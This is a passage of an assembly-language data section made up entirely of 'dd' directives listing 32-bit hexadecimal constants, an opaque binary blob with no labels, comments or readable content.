848302C4h, 2E884A07h, 5FCC44C0h, 3978A902h, 4009F040h dd 0B8945E2Dh, 0A42EE5Ch, 76B34BFFh, 0E30300C8h, 580CFA07h dd 89862700h, 5AF56E6Fh, 1C9C98A7h, 0C0BE2F31h, 9C1438B2h dd 0C550562Eh, 3B12AF81h, 74C029EDh, 0F0F531h, 0C906DBCCh dd 4202C21h, 0B4079EA0h, 2B0231E6h, 0D09D6702h, 339C6044h dd 0FB67F90h, 63A15F84h, 0DC2C620h, 0B93EB5F6h, 1A8C80BAh dd 0E83BB867h, 34D21777h, 4E430C0h, 43000629h, 0E47DD59Bh dd 0B87B65h, 0E14FD3E3h, 6BD076EFh, 0D103C804h, 7C80B01Eh dd 0BBE543Dh, 0CEE6959Bh, 970CE403h, 0F4A0ACA8h, 3A004A72h dd 0D00D0F32h, 17EED3BBh, 59567h, 0E8A6E08Bh, 5F183B96h dd 0A348F4B8h, 78370081h, 6622019Fh, 5CF08CBFh, 0D4917700h dd 0C7E5A057h, 448B48AFh, 0C0CA0300h, 0F706CF05h, 0E97C4860h dd 0DEBB38h, 990D53F9h, 0D73E02E7h, 0B328190Fh, 40BCA04Ch dd 8D2280h, 4B08F7B8h, 4A6B4169h, 0B35A413h, 5008C13h dd 54E15150h, 0FDE909D1h, 0C180B3EBh, 0E515AB02h, 0E07E9F01h dd 1C22047h, 90FBB770h, 1B380077h, 0A2BC4076h, 3D001CC8h dd 85A31A16h, 9055CF2Fh, 0DDCE1CD0h, 64239E26h, 0CA150460h dd 987B096Dh, 1FF9DC60h, 0C402C97Ch, 81FD42CCh, 608779A0h dd 0A512C2BBh, 98C03F64h, 38C0B79Ah, 21402E07h, 90318544h dd 18110084h, 0FB58F4CBh, 0D01CC6FFh, 14C05E80h, 0AC77BFDEh dd 0E71B009Ch, 4AAAA631h, 0C0058690h, 0A4AD32EAh, 788A38C1h dd 94C1FE44h, 69201237h, 397A7EE0h, 1889FF6Eh, 0C689168h dd 7900E8A4h, 783C632Ah, 30804BF1h, 5DD060FDh, 425CA8FFh dd 876D0058h, 0DDACDFCEh, 9FEE0013h, 0EDDCBF91h, 0A9127AE1h dd 3400F07Ch, 13A6DB5Eh, 0AFF31D9Ch, 0F1C300CEh, 0A7CA04F4h dd 17BEEB01h, 7242A1C5h, 0C44AE4h, 5A6AB8C8h, 96B1D668h dd 0E43A8F02h, 0D0D18948h, 0FD631F5Ch, 0DE14DDC5h, 106A0059h dd 601BE5C6h, 6C0234F0h, 0D972F0FEh, 7D7E602Bh, 70A2009Eh dd 5AD48074h, 5B01A5F2h, 0BA4DEFA0h, 0C42465D6h, 9EA2002Fh dd 0BF41D909h, 51008DF3h, 582D1D8Bh, 1913814h, 0CC27F76h dd 80AC4E6Dh, 522811E0h, 2C121B64h, 3FA85984h, 4FCC319Dh dd 6F441FFDh, 71308018h, 0A28AF77h, 5100FCAEh, 0CDC91B68h dd 4CDC1517h, 9000A82Ah, 0E28CB8D3h, 0B112BF1Dh, 3040A213h dd 0D7D2981Eh, 41872FCh, 0ECC5FAFFh, 19EF8052h, 0A200889Bh dd 0A78A6594h, 13407EB7h, 1EA4F4Ch, 0B9933E88h, 9F8405Ch dd 0C700B2D8h, 24A22BAEh, 0E08380h, 395C9443h, 325B89B1h dd 0F3A67400h, 56140DD3h, 0EC8600C9h, 20ADD592h, 6900D70Ch dd 0A107B82h, 58BE9106h, 761D0FF5h, 0A1CD0098h, 5324F61Eh dd 88355Ch, 574B733Bh, 3F030126h, 1501D3F7h, 0B80C81DAh dd 0CBFFC89Dh, 5A5BEA00h, 4BD75872h, 6ED21FD8h, 863600F4h dd 0AA67B461h, 208CF48h, 1633516h, 0C06504A6h, 0ECEEDD7Ch dd 1C717D3Ch, 0BD85E8C2h, 87803733h, 24D6C4h, 0D043318Ah dd 1AF6951Fh, 0D7EC6B00h, 0FDCA320Ch, 0E73D01B3h, 6D0E9245h dd 27082047h, 7F65A02h, 0E8E3448Eh, 1D1018h, 0DB0F05FBh dd 0F83DCE3Bh, 2F4D3A04h, 0F8C02A2Bh, 47DF9Dh, 59744809h dd 35F17F8Eh, 61BDED50h, 440B7200h, 368B8956h, 3DC225D9h dd 0C676C400h, 0B748A6B2h, 0DC80001Bh, 58202AD0h, 903C60FDh dd 0DE64E094h, 9642A207h, 10C1B2F0h, 0CE310CB9h, 3B2E2620h dd 770027EDh, 0E481A068h, 611C6F2Ah, 8DBDC6CBh, 262F294Dh dd 7FE8C4E5h, 0A8300E47h, 0BC44CE1Ch, 742AC0C8h, 3B030E4Fh dd 257D807Ch, 9541A8A0h, 1BC40034h, 0EDDE866Bh, 0B000B9E3h dd 9A1E35E8h, 1682428Eh, 2122A01Ah, 6CBB81E0h, 50A70F18h dd 0D2B7E02Bh, 0E696C79Fh, 0AE43D20h, 72A10482h, 0FFC0EF86h dd 0A0500B26h, 0D5F41008h, 9B79DE00h, 35DFD1D4h, 365312CAh dd 66CF096Dh, 68A554C0h, 2EA2550Bh, 2D2087B0h, 81ED8ECEh dd 0BA62FA89h, 51388984h, 101C906Ch, 0C1079A0Bh, 0D99A3C2h dd 0E7A74BA3h, 6C10D386h, 33101459h, 1A0F67F0h, 0EFFBD6h dd 540544F7h, 0C489AA2h, 0ECC99B59h, 701E948h, 0D1902517h dd 96FC4BDDh, 0F97F2Bh, 0A6AEFDFAh, 0A0D52EB0h, 4F02A104h dd 2F202C05h, 0E01FC9BBh, 5394CC2Eh, 0E9B4660Ch, 79A4EAE9h dd 428D3803h, 0EF80AF3Bh, 2E12D2E7h, 5709A76h, 0BF001077h dd 0A06CA793h, 89D68Dh, 473FCCCEh, 9BFAE015h, 35C4AB00h dd 53E484D4h, 71F500FBh, 0AD0AC1BEh, 3301B480h, 48142E75h dd 6AFC03E0h, 4CFC00D6h, 0BA2DAA8h, 90076857h, 2FE3AF13h dd 0D3DE7750h, 0EB61E76Ch, 0F6B8A0C2h, 44FFE0h, 8C71BF18h dd 0A562BB5Eh, 4096D9C0h, 2157836h, 2BFFE0Ah, 141E01Fh dd 31CB6050h, 81565E1Eh, 0DDAB7945h, 0B40FC4C0h, 844E2A95h dd 28FAF088h, 30811CC4h, 2B79AECFh, 0C9FC7FB7h, 20303Fh dd 2407416Ah, 1FB3F3BBh, 4004C826h, 174D9751h, 0B018DEEFh dd 4699D9B6h, 0EAEB005Dh, 280545E1h, 0ABE878F7h, 1197261Fh dd 0A1EC07C3h, 0B0BDC37Dh, 2F4D116h, 0F6A47134h, 85013930h dd 0EC48A362h, 184000B6h, 3B4B2B9Ch, 0A9CFB83Ch, 7D0F25h dd 0B1B3E9CEh, 0FAF2008Fh, 6834AAFEh, 675F3FBh, 0D60B28A1h dd 81139A00h, 0F9AB1F95h, 69D718B1h, 0AF07557Eh, 0BDEB1EAEh dd 887FB6B3h, 1C3B32C8h, 832DA279h, 0A47E5565h, 301E6888h dd 0B188E300h, 9F0A17D2h, 67DA0181h, 8A9ED16Bh, 8348D452h dd 0FEEB9D00h, 7E075EB4h, 0ED0C2C4Bh, 59AC3BE9h, 0BFDA009Dh dd 0E07671D0h, 18EBC03h, 0F06B856Dh, 2B2D2Fh, 6A0D6E78h dd 0DD94E3BFh, 3DF90500h, 7DC0010Fh, 0ADE500AEh, 0A99D6D0Ah dd 0E30097B1h, 172EBDB8h, 55086Fh, 95D0F0E2h, 809E2B4Bh dd 3D410B00h, 0A6CA77D4h, 82A750E1h, 4290A4h, 0E2B389A5h dd 7A2988E8h, 0BA8B6900h, 0E4F1BB49h, 6FA201E1h, 0C2EA01Dh dd 0B327600Ah, 0DC00D870h dd 93D651D5h, 6DFC69h, 649D6A25h, 0F1141DD2h, 4450E500h dd 154FE3D7h, 0D6F4ADh, 0DDB5F202h, 36D477D8h, 81AC8F01h dd 0FD99D25Fh, 9E5B40D2h, 3C1802DAh, 3EBE03A7h, 0CE76AC83h dd 19C07DE2h, 0D61861E4h, 0B9188827h, 0CE4EC7EDh, 0A3176056h dd 0CA0A67E0h, 0C0F52880h, 71D8BE07h, 0A5AA4DE1h, 64FE7FE8h dd 22F629ECh, 21941390h, 22111A2Fh, 0F202DE2Eh, 215524BDh dd 8E1111F1h, 0BCDA1131h, 11DE5911h, 0BA111FA9h, 0B82E112Dh dd 11DFDD11h, 0E6121581h, 1FF45085h, 2214E828h, 0D277E225h dd 89948688h, 444908E5h, 81447EFDh, 29B144D2h, 0FC6F64A0h dd 779CE8Bh, 0DCD0A86Bh, 7C2C5006h, 0D1FCF66h, 0F240C117h dd 32A26F9Eh, 0AC45001Ah, 0E4FB854Bh, 2C0021A1h, 0F7B478F5h dd 3C58B299h, 4080BA53h, 97473EE9h, 50008C49h, 5E88FC87h dd 862A4h, 0AA364206h, 0D9E25DEh, 0E40380Ch, 9516266h dd 0A4989F53h, 7BCCB980h, 0D0EF3FFh, 2040FCADh, 0B00A7C51h dd 4DBD2F6Dh, 4F02817Eh, 0C088BF48h, 90CF8C04h, 69C70024h dd 0D182A304h, 3B3D3F03h, 0F54681DBh, 556142F7h, 0F60F1E4h dd 8DB8DC76h, 0C04EEA20h, 680094A6h, 503116BCh, 309FAF97h dd 0A0218E8Ch, 0B502C9E3h, 0A8767A7Eh, 110DC072h, 60200119h dd 0F48B4246h, 0FB5820E7h, 8C61303h, 802C53EAh, 0BA035Ch dd 9C4493CCh, 0B2C40A3Dh, 3689C500h, 0D91D25B3h, 0C280000Ch dd 7C912271h, 0CC00C421h, 2EB332A0h, 3FE74E3h, 37F48DA8h dd 3E0003F7h, 7A9DCDB8h, 38ED3B6h, 0EA1275E6h, 10D11913h dd 723480F2h, 9A5644Bh, 30BB0073h, 8FA71F22h, 0C73B798Dh dd 0CE4100DAh, 9F69667Ah, 22420008h, 5F2511ACh, 0DF00923Fh dd 0BD35C72Ch, 0EA127D10h, 2D9C0F50h, 803E63A5h, 0FA77C62Bh dd 4900D611h, 8FFEDB38h, 4C2D52FBh, 5C00465Bh, 0CAF3F684h dd 79128715h, 0F400719Ah, 0ED703C0h, 2F490008h, 1564E6EEh dd 2D014F36h, 65B0D581h, 6FC80B92h, 0F5E3EC86h, 0E8268F0h dd 160EC60Ch, 79397F00h, 0F800E46Fh, 0F69CDCAh, 6222DE9h dd 0C1C0C80Bh, 0BF0022E6h, 0D5B3A5A1h, 15F2E20h, 99ABA49Dh dd 30506C0Bh, 0A3033D7Ah, 947AC072h, 3452C0A1h, 0A45B006Dh dd 0B29F647Eh, 8B012BE3h, 0A627DDC6h, 0A8C4D2A0h, 57163BB7h dd 894C3480h, 6C4F320Ch, 4A15E200h, 0E8763045h, 4743388Ch dd 0E6469100h, 0FE8DEB7Bh, 42D23D00h, 60CA9EAAh, 0D80FEB7h dd 0E079958Bh, 3188248Ah, 632B6C00h, 0BA9C16BFh, 165FF24Bh dd 15A95C6h, 993DF540h, 0CB24207Dh, 0B534AB00h, 571BF856h dd 0BA260013h, 1EF606AFh, 0F53BD6B2h, 803B9894h, 3B4BFC30h dd 0ED876B89h, 40EAF147h, 15BBB485h, 33F03A03h, 90950C34h dd 0DDC251h, 0E50BD8DBh, 39748A5Fh, 0CD77C492h, 0B3099DB0h dd 0AB9151h, 0BB077CE4h, 0AC035FACh, 370D00CFh, 0D17FD392h dd 154800C4h, 2E7AC839h, 1800F380h, 0FA10EF87h, 0BCAEDBBh dd 0C3EC485Eh, 0E4910055h, 1ED9133Fh, 0C0AAF94Ch, 325160BAh dd 5C00C5D3h, 7E6514C0h, 6B8B27h, 6D174862h, 6076735Eh dd 5A756300h, 0AD3C5B04h, 0DBF01CF3h, 5CD29Eh, 6F200914h dd 0A3009BC8h, 2B03DE5Eh, 92EEB867h, 760E00CCh, 0FC608C7Bh dd 0F300AF5Ch, 4369AB4Ah, 488BA7h, 0E3529BB2h, 0B679F54Dh dd 0C5738498h, 0C1772800h, 25ED0603h, 0A1050EF4h, 41DDA88Fh dd 7D9814FEh, 0B585C41Ah, 596F3800h, 0C66DBB61h, 432B0972h dd 0FD01D8E8h, 0DC4F3EEDh, 2A00EB30h, 0EE4557C3h, 0B0A1065Dh dd 49A83DDBh, 0DA762404h, 58A1C09Ah, 81000111h, 319B6C36h dd 35E918Eh, 7F52755h, 0F5B46Dh, 0B4CC1ADh, 760784EBh dd 7874CBA2h, 462D7D90h, 5D0E02C9h, 0BCDE6EDAh, 848CE660h dd 0DF57D007h, 0D38325D7h, 0CB6A88CCh, 0DDE200FEh, 0C97EB1E7h dd 4B0026D5h, 14ECD81h, 3E3298EAh, 9080C641h, 8531BF73h dd 0A100DC4Ah, 0B727FB7Fh, 26114466h, 3CDCB0FFh, 0DB64F280h dd 0FB05B952h, 0E998D1Fh, 1B00485Eh, 36CE9B6Dh, 0B84100D6h dd 0A8C796AFh, 98094004h, 0FDAC0Bh, 5F1F5A52h, 3C2900FEh dd 94885375h, 4B166849h, 4400FDBBh, 6373565Ah, 84FE0A76h dd 80E4716Ch, 6D26C265h, 38B0C870h, 0F66EE800h, 463F0C15h dd 93D800F7h, 0E953485Ah, 8338CF68h, 0AE9800EFh, 851555C0h dd 0BE730043h, 0BCDDABBAh, 341F310Ah, 50402097h, 657913A9h dd 4A760082h, 0E095D522h, 411EFC7Ch, 90C55C94h, 84C81BF4h dd 4C270913h, 0F800468Eh, 120F3643h, 0B4006D76h, 0A4390E4Eh dd 9858CA21h, 2E570398h, 1443F125h, 0DAF3DDD8h, 0DE4EB300h dd 8D517AB6h, 0A6616060h, 95061A37h, 0C9DDEC07h, 7F105808h dd 90D3B9h, 6710F225h, 70D6C22Fh, 4AB83100h, 9E52DCFAh dd 0C0425F04h, 0DA7C8A57h, 1CC01300h, 0CBB83F69h, 0A64F00ECh dd 0A356879Eh, 0EE1F203Ah, 43000322h, 6F570975h, 0B36D002Ch dd 1FB9CED1h, 3700A711h, 0FBEF65DCh, 60F783DBh, 0A253401Bh dd 19003BC1h, 9D0EE1AFh, 3E00691h, 0D81D2DCEh, 1CD25A5h dd 83DD9494h, 0C3BEE4B0h, 7F78B724h, 840D824h, 0DDF0A7h dd 98796DCEh, 129EFE84h, 0AEB1CD00h, 0D3A1D706h, 892807D9h dd 5017BED1h, 8CAAFDC4h, 93E8CD00h, 0EE56BD3Eh, 2696A0C9h dd 636500DEh, 61870ACCh, 3F009670h, 99FB1D71h, 1D95032Bh dd 434CAA48h, 0D3CDE877h, 7BA8EBD8h, 86519A00h, 1C308C85h dd 4BE90003h, 2197EF84h, 0D1001EADh, 0EB405E94h, 1DC220h dd 6ECE10FEh, 3749B007h, 56D04700h, 0B44306ECh, 34F10058h dd 20E26AFEh, 0C00FF22h, 0A47F4944h, 0E7C429h, 0C75A5694h dd 78B68947h, 0E2E292F8h, 30C52524h, 2A00B00h, 65C19B0h dd 0C939C162h, 90F01CA9h, 7925FB38h, 1C002E7Fh, 8235D9FDh dd 39442Ch, 0C23C5017h, 2245B2FAh, 36080A03h, 804B8C7Fh dd 0F3E41Eh, 487C9BECh, 2B497033h, 0EDDB2F0Bh, 9883D7C9h dd 4AE0CAC1h, 64000441h, 0BEC57E2Dh, 9F4E19h, 56763FC9h dd 8018B87Ch, 3CA53D00h, 0AC6959DFh, 0DB340399h, 232DE55Bh dd 3AAB30DFh, 0E800CEA9h, 78E18A6Ah, 0F4420B1Bh, 632A00D3h dd 65D55D6Fh, 0CF1CD40Fh, 330090B1h, 9F7E1A36h, 581C1F2Dh dd 8160C039h, 0E667229Ah, 29523Ch, 69CA8804h, 4276F4h dd 2CE428DCh, 17759305h, 12E77100h, 50F616F9h, 687C3A4Bh dd 0DFDC699Eh, 0D34F00E1h, 0F59B305Ch, 992F700Ch, 59A2BBh dd 90E58317h, 0D0D55BD4h, 66A3E300h, 0CE9E6146h, 52600032h dd 5FE1ADBEh, 16071D6Fh, 11F1A78Fh, 0CF8800B9h, 0D09F3Eh dd 0F2461359h, 70E53DD8h, 0ECDC5B09h, 1EF303F6h, 746087BCh dd 4C5FE92Ah, 7050C5F2h, 2A5E71A0h, 0BC735Bh, 0EE62A694h dd 477C10F7h, 5CC8A300h, 77D2B539h, 0BB7003Eh, 9C8C97E8h dd 4800AF2Bh, 729AD957h, 1FE427h, 1171B95h, 0CC805C6Ah dd 0F66C4E00h, 0CB4D38D3h, 160C0072h, 0ABE9C30Ah, 9105E730h dd 731D027Ah, 77ACC9C4h, 90784000h, 8F450E18h, 4B647100h dd 1281106Eh, 0B8B20043h, 73155D7Fh, 0EC180F0Dh, 44E025E3h dd 0DA530F05h, 0B9C0B612h, 8C1FA972h, 100ED78h, 1CB458FFh dd 0CA65FBh, 19414B6Ch, 9FEA263h, 47BF5600h, 0FCDD60EEh dd 1E91B88Eh, 81AFA30Ah, 89026806h, 0B07CFCB9h, 4B97BD00h dd 7A73A9DDh, 671C128Bh, 22500E75h, 0E9D4FF40h, 0A3009E57h dd 3338D609h, 3FC686F6h dd 593C6277h, 31E6BA00h, 92F24C1Eh, 0A6051228h, 60B32E02h dd 0E0499638h, 0A5E3F1h, 73FE180Ch, 0DA14C484h, 8061AF00h dd 8B2893F8h, 0A3F100E9h, 6B6E3FBEh, 5B90D09Ah, 23885603h dd 0A0792836h, 0BDF35Ah, 1217AADBh, 0A9B3AC58h, 4E14C102h dd 60441A35h, 5C673D1Ch, 48768A6Eh, 0A4C09C8Eh, 4CB97DFBh dd 5BA64000h, 0F631486Bh, 37E200BCh, 0DE7A9409h, 0B43B5DAEh dd 0D78FC7Ch, 0B2A3C007h, 7517D179h, 0E2E3A540h, 858238B9h dd 0C4A43480h, 97BFA869h, 25336400h, 82F20855h, 0D2A3002Dh dd 0E016E204h, 50E5D8Bh, 0F021F8h, 0C6208FA2h, 7032000Dh dd 1A6AB2A6h, 5A0360F7h, 8EFA9D8Bh, 7E100038h, 0CABC59EEh dd 871F8C8h, 8602A600h, 661B530Dh, 0FC20ED10h, 3C280089h dd 0D57927AAh, 0DFFBF0DCh, 9C223780h, 80AC553Ah, 9781881Ch dd 3C1B28h, 5CFD2944h, 0DF21A8DCh, 79506600h, 9AD283D9h dd 0BC03008Bh, 0ACA7D4A4h, 71C74C0h, 83FD1896h, 55AC3F8h dd 7FF6C09Fh, 0A31B1D66h, 89360724h, 0CF72D080h, 41EC62BCh dd 836D7C38h, 86ACA647h, 0AD01FF88h, 1DF87A99h, 4C1FFE40h dd 2A004E46h, 0F9CF56D9h, 41C045C5h, 840290FFh, 616300F6h dd 0A44B6DE5h, 9560AD34h, 0D5335820h, 53F0062Fh, 19F79C13h dd 0D76D707h, 0F5F1FEECh, 0B6D4B41Dh, 0CE2A0069h, 36A57316h dd 0B8922BF4h, 0CA3C2C07h, 3B009A42h, 1CE33F61h, 0B5F9FCh dd 0E680E701h, 0E0E4430Dh, 2C233D00h, 258FD650h, 42F073h dd 0D56F56EFh, 16BE4824h, 0B230E210h, 213A5008h, 0D943DAC0h dd 55D500B1h, 0DDA2D659h, 0EF013F31h, 0CEF81B5Eh, 4C200DCAh dd 890A0054h, 1F14DB6Bh, 3091E97h, 832E8741h, 90F82270h dd 6E8B30h, 0F28CBED3h, 84179C44h, 0D6809E00h, 0BAEF1308h dd 0BE54006Fh, 85C02C0Fh, 0E779207Ch, 8D2B4803h, 0FA0A9C66h dd 748C601Eh, 31E50772h, 0F0AEA006h, 40576DD3h, 0B5C99C1Fh dd 0FA981F58h, 2C23F4AFh, 801C1631h, 20041A74h, 6B002615h dd 597071C9h, 8ED16Dh, 341BA9Bh, 0DDFC1D93h, 0D8FE4577h dd 1B1CEF00h, 0B9F04DCAh, 0A32E0459h, 905A0BDAh, 99C87798h dd 7D3C7400h, 37A59AA0h, 0CA43DB9h, 0A22FC080h, 0D053E83Eh dd 0B7D7D912h, 0FC878800h, 5B821BBh, 5D90842Ch, 1F000F9h dd 0D27C4FF8h, 80E1FE3Ah, 944E6DC3h, 383A03Ah, 0AA5B5DD5h dd 0FCC8A431h, 0BAE636BFh, 4D9B41Ch, 550813C0h, 8494FDh dd 920329C1h, 6F27E0BFh, 38596100h, 0ACA0F725h, 101C0044h dd 82A6579Dh, 0C0002CDh, 2DC2F33Dh, 24B368D6h, 0D893E4h dd 2104A9F6h, 291F5047h, 274063E0h, 53D2CB9Ah, 0A4620033h dd 0AAD769ACh, 2B007E97h, 0D8EDCD4Dh, 30C28CB9h, 19492838h dd 0E4E002DBh, 0C034E748h, 2EC244C6h, 91FA0018h, 0DC2F9830h dd 0AB0EFF63h, 80F148C9h, 94C3D858h, 0A96F006Ch, 8A687A76h dd 9200698Bh, 0E6062805h, 964A79h, 0D6CAA0B6h, 0D7043D1Ch dd 211B3501h, 6499D3F5h, 1C16A170h, 3832902h, 0E11F2BD1h dd 0DCE0EA8Ah, 73E6BBB1h, 327E2498h, 3F5E5907h, 8AC00FD4h dd 0F69AE4h, 0D681A344h, 0A49212FFh, 6F9B5A00h, 902F7143h dd 729728B3h, 27D80FE4h, 2BE09EC9h, 3EFB7ECEh, 0C225CB00h dd 397CE42Ch, 68280072h, 40984DEEh, 0DA0964A5h, 8273C233h dd 0E07C6B7Bh, 95CC06Eh, 7E8EB11Eh, 0D3FCD420h, 4971C726h dd 0B915E605h, 0FAE82A28h, 9EF75900h, 0CC7E172h, 9C487428h dd 0F0943E01h, 59065D4Bh, 3581ECh, 0C9D7F2B1h, 860B464Dh dd 0F43843Dh, 80C3DFB8h, 5A24874Ch, 0F62D1F0Dh, 624BC0D4h dd 1D427038h, 0A507DE0Ch, 9FE83Ch, 0C1143706h, 1E0E411Bh dd 95D2AF00h, 10DDB1E8h, 4D87006Ah, 0FDE28BF1h, 0D4007F77h dd 8E2E8A66h, 0F841904h, 3DB47321h, 59773220h, 0D7198F61h dd 5C604847h, 0C824E898h, 630023BDh, 1D15E06h, 0FB466ECh dd 0EAB91D7Bh, 65F8BA40h, 923E77DAh, 0C48B0046h, 6CA3BCCAh dd 610B3921h, 0A9F28503h, 32E8D8B9h, 0F1001DF7h, 45F6F55Eh dd 0E94AECBh, 4147DCFAh, 9CB93EE0h, 81E464A6h, 4034C613h dd 0DBD13800h, 0B0B75620h, 0E1C304D0h, 301DCBh, 0A0B8A7F2h dd 0DF0D008Ah, 11AC84B2h, 4D021815h, 0A902B31Eh, 927E0C2h dd 928C0407h, 0FB8A7849h, 0D9B519C0h, 7C1100F8h, 1C824314h dd 8C5801DFh, 0B36209D0h, 0EC3896F1h, 8FEF0082h, 0EA177508h dd 0EE007C6Ch, 14615AD8h, 24C3FAAh, 0D26ABB90h, 627F9AECh dd 0B4D44014h, 78E207C5h, 12A34C28h, 0D4487225h, 75E23742h dd 600750F6h, 4FFBBA02h, 675670D0h, 964400EAh, 6D8A9EE1h dd 1000AFACh, 0E83105A4h, 977AD90h, 17FBD004h, 0E7A63C80h dd 0DFE2E45Fh, 0F54D3E00h, 87E6726Bh, 7C2D03BDh, 13478945h dd 0C71F15B8h, 3C7E80CCh, 286F60DEh, 83C45784h, 71A064Ch dd 0CE976CC5h, 0F83A80C0h, 0C6580E27h, 0F7E0772Dh, 0DB548E47h dd 0AA35C000h, 6043ECFCh, 0B4E11863h, 48D9042h, 2696C838h dd 0D0005C68h, 0F72B2BCh, 0ED7000F0h, 2F87DFAEh, 0D207B6ECh dd 8682BD3Eh, 535AF510h, 0B1A03E2h, 695F910Ch, 0E55B4007h dd 3D541FDEh, 0DFE27CC7h, 0BBA48085h, 14719445h, 0DC156827h dd 3B7D8280h, 0F02FD14h, 8FA1A7A2h, 2AFDC064h, 0F2AB00DCh dd 0BF8CA871h, 7C077031h, 43D29106h, 4C67AF10h, 5F1D0054h dd 74B36B17h, 2500FF9Bh, 0DC61EC81h, 2EEA03h, 4359D0BCh dd 8CF64D0Ch, 7CDE48C0h, 73ACAA6h, 36DC0806h, 8E7DF0CBh dd 0A53E1F12h, 0F8AB8051h, 0C208EFFDh, 29FC0013h, 828AAE73h dd 0D00197FEh, 0DE5423Ah, 0F7C8AF5Eh, 0AEA7001Eh, 0C85957Dh dd 0B00197DCh, 423BB579h, 0AFE57C65h, 7D00C428h, 0A8EA4BB3h dd 0B0EEBDFh, 0AF42F08Ch, 0ADF900B1h, 0E07679A9h, 0EE9F8F1h dd 84E7A05h, 0CAC55E0h, 9600A269h, 0FB4161D3h, 38E3A98Bh dd 1E004729h, 56660848h, 85000F4Ah, 0A9F38C3Ah, 96DC55h dd 0E9A209EEh, 4407CD21h, 60E7BC3Eh, 49C2B121h, 775C0F4Bh dd 5700F6F2h, 71803960h, 83900D07h, 9E407DE3h, 0A29275h dd 91FFAE6Eh, 0B577C646h, 89A7743Dh, 0A4A9Ah, 94A80EFCh dd 41541DEEh, 12920085h, 29F82B8Eh, 5C091D00h, 2C39B680h dd 7AD33BDCh, 5FF4BD85h, 0B9900EC6h, 0D461AA80h, 0EB3B3259h dd 9630FD95h, 453448EDh, 0E03A005Dh, 0FF9838C1h, 377FD0DCh dd 192CE70Fh, 4C00B35Ah, 633017B8h, 405601B2h, 699ADD3Ch dd 9BBE0132h, 965FC4h, 0F086E162h, 99B105C0h, 87936101h dd 0A5C6DE0Eh, 3AADDDCh, 55664ECFh, 0A880B132h, 0E5FB95F0h dd 0F76FD4C3h, 6E04590Bh, 64848F58h, 0A920EDA7h, 0BB004D94h dd 0BCD91098h, 0ACE323h, 400E81E1h, 13D3CEB6h, 10D77D13h dd 537F2803h, 0E851F34Fh, 7F01A92h, 0BA94D68Fh, 59EEE0A6h dd 0FC00EA0Ch, 0FBA0FF57h, 7C5673Dh, 68A4D0C7h, 0A975F3DEh dd 6BC8E1C3h, 1100E26Dh, 0A5454DF8h, 0B935BC25h, 5A2A0034h dd 0A02198DEh, 0FC82D80Fh, 8564A020h, 3C06B9C5h, 24017046h dd 23593E6h, 0FBC852C6h, 53A2C0E0h, 0A4B7AF00h, 0D7D87712h dd 0BFA000E5h, 0FF58DDFEh, 2B1CB1A6h, 2D401918h, 1F6D77Eh dd 24764C6Ch, 0FF8B800h, 0D1BE899Ah, 0E1AEFF00h, 7E216E15h dd 8F3A053Eh, 90F77163h, 66E5BD78h, 0D505957Ch, 5EEBDA75h dd 0F800C0CFh, 98467591h, 3800E704h, 7EDCD001h, 1C5E5BD5h dd 0AC8180FEh, 0BDED03B0h dd 11968248h, 0EA006290h, 956BAD55h, 2ED1EDFDh, 2B043CAh dd 719B63C8h, 0F674C4C0h, 2604589h, 0E5C007Ch, 84546F68h dd 0BE01E252h, 5104FF07h, 2C60604Ch, 0B54800E6h, 25F276F9h dd 0CF0195B8h, 70E47DEBh, 3460FEABh, 8456007Ch, 6F4E1475h dd 0AE078E9Dh, 12FAF297h, 99160301h, 3EC9D8h, 179B517Dh dd 0BDE3AE0Ch, 0A9EBE20Bh, 0A4A90241h, 3B785820h, 0A88F2CE1h dd 7A226D02h, 7960EFE5h, 0AB2E4D48h, 0B200E3C1h, 85D21EAFh dd 0C3D006Ch, 854B673h, 7C04A786h, 4DE4D1D7h, 3C8943C0h dd 146A7A71h, 803BC858h, 81AF9000h, 0E633F3B6h, 26935605h dd 0DAC07D83h, 91749Ch, 7240E0F9h, 0DD28DB15h, 1B325C00h dd 3E291E79h, 0CA7400C3h, 75139562h, 0F6002B59h, 0F406ED7Ah dd 0B9CE9Bh, 5519A953h, 3BF720D1h, 807D653Fh, 0DAB4115h dd 0FDA8F57h, 5B26808Dh, 3ABD6F66h, 56376700h, 8E86700Dh dd 194409F6h, 2C82151Dh, 8040ECBCh, 9724735Ah, 0CF036854h dd 0F0BBA101h, 4DD76CAh, 0AF2CC51Ah, 0F27890D1h, 0DE394F36h dd 8ECC09A6h, 38A0E07Bh, 446D5AA9h, 0E0A3F4B8h, 0C004A48h dd 57903D37h, 0E8D794ABh, 54A5003Fh, 222C2BE0h, 0C40B70E5h dd 348DCDh, 30AC37ECh, 38881E96h, 615800B5h, 1F04E972h dd 0A1064500h, 0C6EDAE02h, 0E0CF49DBh, 80E55E1Ch, 9C543EE3h dd 97006511h, 32FE942Dh, 7A7644D1h, 6F16041Bh, 0C0DA0C55h dd 0AE13A69Ch, 7796D33Dh, 4FB0CF00h, 0C6FB8B35h, 0EF2000Fh dd 0A6B60273h, 2A3E92FDh, 0B1E780D5h, 116A80D1h, 2BA00044h dd 9B49A1CCh, 0AF00F33Fh, 9E7364B8h, 20918Fh, 29D0E6ABh dd 4051744h, 2CD80F2Ch, 3A62AD00h, 0B0126402h, 5597332h dd 0FF340E38h, 0DEF2C02Eh, 0F20EB6CAh, 493D8058h, 6389DFh dd 3F403253h, 0E03750C0h, 9FCF0E9Ah, 0B5E11283h, 0C894ACA5h dd 97FE45E4h, 916A8B00h, 0F4CDB9A9h, 9AFB07BDh, 60FE3961h dd 9C276EDCh, 0F3A6D0Fh, 32DBC0C3h, 1FB29910h, 17FAA32Dh dd 654C0239h, 0F0E8A7ADh, 0E00DEBAh, 354E1B14h, 7FD52F50h dd 3D470006h, 6A330709h, 0C600B8EBh, 3C38C842h, 46B50C5h dd 0EC45429h, 0A9C0C0E5h, 0E1018E34h, 10B433F5h, 0C7F0AF7Dh dd 21300EADh, 41C3F29Eh, 46980F55h, 1B0B53EDh, 80877C26h dd 8940499Ch, 4B640085h, 66D4F29Ch, 0D002E45h, 0C3DCF313h dd 87EBD9h, 0BE3734F0h, 0C57EA36Eh, 410D8C00h, 0B496F2FFh dd 62A9006Ch, 0B8F409ABh, 83008271h, 0CE87E665h, 7C5D3E7Dh dd 14448DEh, 555F2100h, 0CCBADBD4h, 88D683EEh, 644A00BEh dd 0BD03770Fh, 5044E0B4h, 79E79CF0h, 78FEED4h, 0D9CE78B6h dd 0A02E0059h, 0CD00AF2Fh, 44F5BD20h, 3AE64870h, 0B8043E99h dd 802B7EA4h, 12AB3D34h, 76E98100h, 0E4CDE073h, 1F3F0C87h dd 0DECBAFDh, 